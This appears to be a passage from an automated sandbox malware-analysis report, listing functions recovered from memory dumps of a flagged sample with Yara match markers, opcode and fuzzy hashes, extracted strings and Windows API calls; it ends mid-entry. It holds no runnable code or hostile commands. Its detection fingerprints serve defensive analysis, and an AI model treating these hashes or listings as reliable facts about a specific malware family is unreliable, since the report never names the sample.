Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ]1
API String ID: 0-3136993215
Opcode ID: d7e4a39e9e5c26ff6825bbd63b05b5f75ece3416f93472cf8e37b08cdd133fa2
Instruction ID: b531f465ecc7e9c04b2b88ce592960133181667b724115c51bf570dbc9a2db56
Opcode Fuzzy Hash: d7e4a39e9e5c26ff6825bbd63b05b5f75ece3416f93472cf8e37b08cdd133fa2
Instruction Fuzzy Hash: 0351533100D341ABCB58CF65D98981BBBE5FFD5758F404A0DF592A2260C7B1CA48CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00DB2560, Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

){, xrefs: 00DB25AA

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ){
API String ID: 0-1738580931
Opcode ID: 4c27470c79ad73ccb5f55289d0ed3a651ff421185eb5969a21ce754adb2516a2
Instruction ID: 06788d13c4c384bb6e3b25b32dc77686ea8918b32bf935276afa7ca1c8741617
Opcode Fuzzy Hash: 4c27470c79ad73ccb5f55289d0ed3a651ff421185eb5969a21ce754adb2516a2
Instruction Fuzzy Hash: 934157726083019FC718DF21D98692FBBE1FBD8748F00891DF48696221D771CA1A8FA3

Uniqueness

Uniqueness Score: -1.00%

Function 00D94F42, Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

B;}, xrefs: 00D94FA4

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: B;}
API String ID: 0-3368358345
Opcode ID: dbdc0d5c23aba7bde1964e33d150de0188b1c986f7d2f3115e6fc32c7e15ea1c
Instruction ID: f0a79fbeaf8de0a8eb2c3fff2e77ac300eb49bfbb72b1a3eab4c657f9c596842
Opcode Fuzzy Hash: dbdc0d5c23aba7bde1964e33d150de0188b1c986f7d2f3115e6fc32c7e15ea1c
Instruction Fuzzy Hash: 365112711083419FC759CF26C98682BBFE1FBC8748F544A1CF596A6224C3B18A198F97

Uniqueness

Uniqueness Score: -1.00%

Function 00D9635F, Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

N, xrefs: 00D96401

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: N
API String ID: 0-3948818596
Opcode ID: 36e90f4d2d8bce284f2561ecaf7bab2ddf48de27cfd66f72c3a763bc84aa1489
Instruction ID: 8a592a0a1940c2c9c822605a12a751696a0bb623b15e38610a7a3d84675e6744
Opcode Fuzzy Hash: 36e90f4d2d8bce284f2561ecaf7bab2ddf48de27cfd66f72c3a763bc84aa1489
Instruction Fuzzy Hash: 844198711083819BCB58CE25D59942FBAE1FBD4748F144A2EF5D666260D3B4CA09CFA3

Uniqueness

Uniqueness Score: -1.00%

Function 00D9F699, Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

C|, xrefs: 00D9F7A4

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: C|
API String ID: 0-2444742693
Opcode ID: ed0f62a632d906fb3c43c3fe32992958e3bbf5cf354087c936e85217c67f69d2
Instruction ID: 16caddf2c749b5aaf14d9d54f70e17b8cd78ff1f594676c03fb9f2684a2c9bc3
Opcode Fuzzy Hash: ed0f62a632d906fb3c43c3fe32992958e3bbf5cf354087c936e85217c67f69d2
Instruction Fuzzy Hash: 8941E271E01208EBCF08CFA5C9868DEBFB6EB84314F20C09AE015AB250D7B55B55DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00D9DD66, Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

CCP, xrefs: 00D9DDC8

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: CCP
API String ID: 0-1034069945
Opcode ID: 3e59c4399d6a2cb82ee090332a18dd5b708fd5e2eadda935f09b0a5565451fd9
Instruction ID: 9395ce5c633859dc61c99ee71cfbc6bde774582efb3d6258f27e196759b76992
Opcode Fuzzy Hash: 3e59c4399d6a2cb82ee090332a18dd5b708fd5e2eadda935f09b0a5565451fd9
Instruction Fuzzy Hash: 5641F1B2C0031DABCF59DFE4C94A8EEBBB4FB24304F148198E511B6220E3B41A45DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D954C0, Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

2+]X, xrefs: 00D954F8

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 2+]X
API String ID: 0-635157736
Opcode ID: 481d722715983e272cc469dc43216b96c655eaa670e4ddf9da5fb0d9274d257e
Instruction ID: ce5f4b5f3a1d06944d13980f1df43993ca06ef8d5bd3a040c18eb06ed65fa46b
Opcode Fuzzy Hash: 481d722715983e272cc469dc43216b96c655eaa670e4ddf9da5fb0d9274d257e
Instruction Fuzzy Hash: E4318C72A193519BC315CF1C848595AFBE0EF98714F454A2DE88597242D770E909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00DA8518, Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

g, xrefs: 00DA853E

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: g
API String ID: 0-1037297435
Opcode ID: 12f60b9f080022c690087f5a0feae30e1c4340ffe80795349f84256cb1c1a91f
Instruction ID: 7e641ed764de1b576cef032ec7e9a40d8aa06c17063f14d846983cb649134466
Opcode Fuzzy Hash: 12f60b9f080022c690087f5a0feae30e1c4340ffe80795349f84256cb1c1a91f
Instruction Fuzzy Hash: 12219C72A083008FC754DE2AD88151BB7E6EFC8718F048A2DF899D3254DAB1DD058B52

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F7A30, Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

t, xrefs: 6E8F7ACE

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: t
API String ID: 0-4046888548
Opcode ID: 721a9c3d5be6aa06c92f94912cd8d74cb88f7b706653359899b57a7f28bd89f0
Instruction ID: 04a15d84a94922edf6fa949767b079ef8297227028e4a29ea89c373ff8289b2f
Opcode Fuzzy Hash: 721a9c3d5be6aa06c92f94912cd8d74cb88f7b706653359899b57a7f28bd89f0
Instruction Fuzzy Hash: 1E21F232A14204CFEB40CF58D8C0A65BBF5FF4A210B1A45EAEC49CB382D231E951CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00DB314A, Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

BGd, xrefs: 00DB31BE

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: BGd
API String ID: 0-2042166335
Opcode ID: a72e445dec8ea7b5338fe7369db8ed5e1fb3125761641ecec233543bdc38b076
Instruction ID: 5939cafd6b46b173bfcf94ed9086a0aa971c814936b537d77eb5db3016da1a9c
Opcode Fuzzy Hash: a72e445dec8ea7b5338fe7369db8ed5e1fb3125761641ecec233543bdc38b076
Instruction Fuzzy Hash: 77211FB6D0020EEBCF14CFA5DA4A8EEFBB5EB44304F248199D921B6260D3B44B05CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00D9F20D, Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

PGX, xrefs: 00D9F2D8

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: PGX
API String ID: 0-1232467878
Opcode ID: 942254bf1bc33636e8fb8542ab4d56c2020c144fc072fac04c584c5eabaef38d
Instruction ID: 43b6a8e55d3d5f64fd7436d68d413ef4c7a84606120733deffd6964397a3918f
Opcode Fuzzy Hash: 942254bf1bc33636e8fb8542ab4d56c2020c144fc072fac04c584c5eabaef38d
Instruction Fuzzy Hash: F731DD71D0020EEBCF09DFA1D54A4AEFBB1FB40308F208598D122B6260D7B44B59DF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E920569, Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7868e2011ed801301bfe2a2265a38ffcecca8852dde54db2db4cd276e902df40
Instruction ID: 3845268536077ba48532473569344b90035980ab33015d9f48c298ed3177cec8
Opcode Fuzzy Hash: 7868e2011ed801301bfe2a2265a38ffcecca8852dde54db2db4cd276e902df40
Instruction Fuzzy Hash: 0D321221D79F024DDF639535C97232AA25CAFB73C4F15DB37E82AB5A99EB29C0834500

Uniqueness

Uniqueness Score: -1.00%

Function 6E90FD1F, Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e24b44b9762e9998cb07bbb1c66afac786d29e044ee2bb0456e4d39d2da0b84e
Instruction ID: a4020240882adac46b6c35ca8995fb9abdd7db8d382a2f811003a255aa57c290
Opcode Fuzzy Hash: e24b44b9762e9998cb07bbb1c66afac786d29e044ee2bb0456e4d39d2da0b84e
Instruction Fuzzy Hash: 92516D71E00219AFDF04CF99C990AEEBBB6EF89304F59809DE815AB241C734DA51CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00D96125, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5cc0092f58d891c9f7aaa205e36c43ad6ac0db5a41e9c4163e925da320de7a9
Instruction ID: 265542d08edb8595a87b1a977582edf5723dadf2bee9e7d3ae6dd16d2791a398
Opcode Fuzzy Hash: a5cc0092f58d891c9f7aaa205e36c43ad6ac0db5a41e9c4163e925da320de7a9
Instruction Fuzzy Hash: D26131B1D00309EBCF08CFA5D98A9EEFBB2FB48314F208059E511B6260D7B56A55CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00D95166, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a61000f8f5335fe5e56ff23325cd654e058ff56ff78f8913dd37924408f26c
Instruction ID: b7d9edfbae9798bee614eeeabe2969e969e6ecb125555aa87067809d55510f45
Opcode Fuzzy Hash: a6a61000f8f5335fe5e56ff23325cd654e058ff56ff78f8913dd37924408f26c
Instruction Fuzzy Hash: 29417BB16083418BCB58CF24E99552FBBE1FBC5748F140A2DF186A6261D771CA488BA7

Uniqueness

Uniqueness Score: -1.00%

Function 6E9258EF, Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cec28704182297c45e79e37c22533237f0dd8b14c78b1743ffe819060bab21a
Instruction ID: d2c375707df3d0b2d70ab8fcfb4ffe9d6a9fde1e671a7d459b5199d53d1d3f20
Opcode Fuzzy Hash: 2cec28704182297c45e79e37c22533237f0dd8b14c78b1743ffe819060bab21a
Instruction Fuzzy Hash: 3B21A473F205394B7B0CC47E8C522B9B6E1C78C511745827AF8A6DA2C1D968D917E2E4

Uniqueness

Uniqueness Score: -1.00%

Function 00DAE478, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ab12a5c1461a32f5a8ea1cbf4c6ec33fc28f1ed6bb483b06b937df58032f48
Instruction ID: a3ef344df7c43f6e2915a39c538c83a311720f05494b05067763ee3066f20912
Opcode Fuzzy Hash: 62ab12a5c1461a32f5a8ea1cbf4c6ec33fc28f1ed6bb483b06b937df58032f48
Instruction Fuzzy Hash: 8C41F1B1D00219ABCF45DFE4C88A8EEFBB5FF49348F508548E521B6210D3B94A45DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00DB0AD3, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e848d9c6b67677fafb526c596923f40c93afa7d7e2a42ad7033b1c7560134e
Instruction ID: e4bcb0f97a660dc1b884ca3201e35acdd2fe4498a6c9b92d20c15ab0bdb6dc67
Opcode Fuzzy Hash: 49e848d9c6b67677fafb526c596923f40c93afa7d7e2a42ad7033b1c7560134e
Instruction Fuzzy Hash: 5E31BC72A083119FC350DF29C48055BF7E0EF88314F818A2DF99A97250E7B4E909CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D9F4A5, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95724f006b4c0fc4d0bff72a22fee1b7eb9ac2785ee866945a277e102c574de5
Instruction ID: 47a7ebc49e48f1f008036797fa63a89e5bd3140d1ebfdec113777e2708738c87
Opcode Fuzzy Hash: 95724f006b4c0fc4d0bff72a22fee1b7eb9ac2785ee866945a277e102c574de5
Instruction Fuzzy Hash: 50312171D0031AAFDB08CFA1D94A9EEBBB1FB40704F208169D511BB250D7B95A55CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D9F984, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1ff426e79746ad319983153294732274ee39d0f6843496e681fd78a0ea1dbe7
Instruction ID: f2fb97849180f9f7e8b9db22b759f17bf83de2ae34f7596f4f869aa4a334213c
Opcode Fuzzy Hash: f1ff426e79746ad319983153294732274ee39d0f6843496e681fd78a0ea1dbe7
Instruction Fuzzy Hash: 3231F8B290020CAFEF04DFA9D989CEEBBB9EB48318F018159F918A6250D3759E159F50

Uniqueness

Uniqueness Score: -1.00%

Function 6E9257CB, Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06f26cc7e7dc75f70907881f64ae2122202db4b03f4ed41a808a4b5c5e62cdb6
Instruction ID: 29b73b824062ae0e0bea36fe6b52e53eaf9800c7dc9a57f4099ec159c622a8ce
Opcode Fuzzy Hash: 06f26cc7e7dc75f70907881f64ae2122202db4b03f4ed41a808a4b5c5e62cdb6
Instruction Fuzzy Hash: DF11A733F30C295B275C81AD8C132BAA6D2DBD825070F533AD826E7284E894DE23D290

Uniqueness

Uniqueness Score: -1.00%

Function 00D9938F, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fb78f267175e101537b1da63eb1f95f6ffa96ed1ea6f3c6d98e9dded9ba910
Instruction ID: d841c4aefd6a096562ae79faca400faf8effc1fdcfe21365a8328bd24b54c100
Opcode Fuzzy Hash: 41fb78f267175e101537b1da63eb1f95f6ffa96ed1ea6f3c6d98e9dded9ba910
Instruction Fuzzy Hash: 0131D232900209BBDF059EA5CC068DEBFB6FF49710F108589FA25A6160D3B28A61EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00DB2C16, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ee398f73e3bd3737d3a0f46f012eb34d36fe675d243cd443379ab18b292edab
Instruction ID: 741f68eb43205af00fa9ae413733071ad3a403488455d0be4704097bd4d0ece4
Opcode Fuzzy Hash: 8ee398f73e3bd3737d3a0f46f012eb34d36fe675d243cd443379ab18b292edab
Instruction Fuzzy Hash: 9D3102B1D0130EABCB48CFE5DA4A8EEBBB1FB44314F208199D511B6260D3B55B55CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D95314, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 137f8063ab8a4e6c48daa6564079e0f37c3fb48828de76ab16e4e7a031f92ad0
Instruction ID: ba11d45def4ee605d8b1bb87d9d8f528e28d6f8f0a47cc3b8daf0fff97ccc1b8
Opcode Fuzzy Hash: 137f8063ab8a4e6c48daa6564079e0f37c3fb48828de76ab16e4e7a031f92ad0
Instruction Fuzzy Hash: BC21C0B1D1030DEBDB18CFA5D94A5AEBBF1FB14718F208589E424A6284DBB85B18CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6E91B715, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ceeb394943dedc91ac85ec01282585c4c36c65ed53bceaa8aa5d21c9e89172b
Instruction ID: 2f63e56d8828acb3bbe9fc7d46667d0e491c1be8eb547770b4f3a91226664abf
Opcode Fuzzy Hash: 5ceeb394943dedc91ac85ec01282585c4c36c65ed53bceaa8aa5d21c9e89172b
Instruction Fuzzy Hash: 48E04632A1922CEB8715DED899009DAB3BCEB49A11B1109AAB904D3A10D670DE00CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00DA4315, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F1230, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abad5dcf0f23744de75a45cbdeac365a6ca3222e9b4637bafb75050584ef31d5
Instruction ID: 8460314c99e1c83ab88f4c24e9403a388aa7a0607b34e81099aab570c9bfae93
Opcode Fuzzy Hash: abad5dcf0f23744de75a45cbdeac365a6ca3222e9b4637bafb75050584ef31d5
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F8980, Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 439memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6E8F8AD7
VariantInit.OLEAUT32(?), ref: 6E8F8B06
VariantCopy.OLEAUT32(?,?), ref: 6E8F8B14
SysFreeString.OLEAUT32(00000000), ref: 6E8F8B5B
SysFreeString.OLEAUT32(-00000001), ref: 6E8F8BEE
VariantClear.OLEAUT32(?), ref: 6E8F8C27
SysFreeString.OLEAUT32(-00000001), ref: 6E8F8C3F
SysFreeString.OLEAUT32(00000000), ref: 6E8F8C7A
SysFreeString.OLEAUT32(00000000), ref: 6E8F8C93
MultiByteToWideChar.KERNEL32(00000003,00000000,lines,000000FF,00000000,00000000), ref: 6E8F8D14
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6E8F8D1E
MultiByteToWideChar.KERNEL32(00000003,00000000,lines,000000FF,00000000,00000000), ref: 6E8F8D3B
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6E8F8D50
SysFreeString.OLEAUT32(00000000), ref: 6E8F8D5F
SysFreeString.OLEAUT32(00000000), ref: 6E8F8DE8
SysFreeString.OLEAUT32(00000000), ref: 6E8F8E2C
_com_issue_error.COMSUPP ref: 6E8F8E6E
_com_issue_error.COMSUPP ref: 6E8F8E74
_com_issue_error.COMSUPP ref: 6E8F8E7E
SysFreeString.OLEAUT32(76AFD5B0), ref: 6E8F8E84

Strings

lines, xrefs: 6E8F8D0B, 6E8F8D32
", xrefs: 6E8F8E37
offsetY, xrefs: 6E8F8B22

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$Variant_com_issue_error$AllocByteCharMultiWide$BstrClearCopyInit
String ID: "$lines$offsetY
API String ID: 1469084953-1489481244
Opcode ID: 771daf9b5c94b2d749686a1743bc843b16ab956ee8fca82faef21475703beab9
Instruction ID: 6be2db7e61e498b5275467693513bb15085d4c5307b985e50398bfb58e81ad08
Opcode Fuzzy Hash: 771daf9b5c94b2d749686a1743bc843b16ab956ee8fca82faef21475703beab9
Instruction Fuzzy Hash: 56F1C370A0164ADFEF40CFE6C958BAEBBB8AF55744F20495CE415EB280D775E902CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6E901240, Relevance: 31.7, APIs: 21, Instructions: 187windowCOMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 6E9012F3
GetParent.USER32(?), ref: 6E9012FC
GetClientRect.USER32 ref: 6E901312
CreateCompatibleDC.GDI32(?), ref: 6E901318
CreateCompatibleBitmap.GDI32(?,?,?), ref: 6E90133A
SelectObject.GDI32(00000000,00000000), ref: 6E901346
SelectObject.GDI32(00000000,?), ref: 6E901358
SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6E901371
SendMessageW.USER32(?,0000000F,?,00000000), ref: 6E90137F
SetBkMode.GDI32(?,00000001), ref: 6E901388
SetTextColor.GDI32(?,00FFFFFF), ref: 6E901394
GetClientRect.USER32 ref: 6E9013A6
ClientToScreen.USER32(?,?), ref: 6E9013B4
ClientToScreen.USER32(?,?), ref: 6E9013C9
ClientToScreen.USER32(?,?), ref: 6E9013EB

Part of subcall function 6E900DF0: GetTextMetricsW.GDI32(?,?,?,?,?,?,?,6E901419,?,00000000,?), ref: 6E900E7E

BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 6E90144D
SelectObject.GDI32(?,?), ref: 6E901458
SelectObject.GDI32(?,?), ref: 6E901463
DeleteObject.GDI32(?), ref: 6E90146D
DeleteDC.GDI32(?), ref: 6E901474
EndPaint.USER32(?,?), ref: 6E901482

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientObject$Select$Screen$CompatibleCreateDeleteMessagePaintRectSendText$BeginBitmapColorMetricsModeParent
String ID:
API String ID: 1460541294-0
Opcode ID: 2bbc98ad5c2fafd9be842c48906517f4bdac36e384ffa92bf56f5f71c1eaa3c9
Instruction ID: f10a83647c06302b19b823f34031953fa7260fa32ce66ddeeadbf42a6fac480d
Opcode Fuzzy Hash: 2bbc98ad5c2fafd9be842c48906517f4bdac36e384ffa92bf56f5f71c1eaa3c9
Instruction Fuzzy Hash: E0614872118B01AFDB219F64CD08F6BBBE9FF89710F104A1CF595962A0CB71A905CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6E9012B0, Relevance: 31.6, APIs: 21, Instructions: 141windowCOMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 6E9012F3
GetParent.USER32(?), ref: 6E9012FC
GetClientRect.USER32 ref: 6E901312
CreateCompatibleDC.GDI32(?), ref: 6E901318
CreateCompatibleBitmap.GDI32(?,?,?), ref: 6E90133A
SelectObject.GDI32(00000000,00000000), ref: 6E901346
SelectObject.GDI32(00000000,?), ref: 6E901358
SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6E901371
SendMessageW.USER32(?,0000000F,?,00000000), ref: 6E90137F
SetBkMode.GDI32(?,00000001), ref: 6E901388
SetTextColor.GDI32(?,00FFFFFF), ref: 6E901394
GetClientRect.USER32 ref: 6E9013A6
ClientToScreen.USER32(?,?), ref: 6E9013B4
ClientToScreen.USER32(?,?), ref: 6E9013C9
ClientToScreen.USER32(?,?), ref: 6E9013EB
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 6E90144D
SelectObject.GDI32(?,?), ref: 6E901458
SelectObject.GDI32(?,?), ref: 6E901463
DeleteObject.GDI32(?), ref: 6E90146D
DeleteDC.GDI32(?), ref: 6E901474
EndPaint.USER32(?,?), ref: 6E901482

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

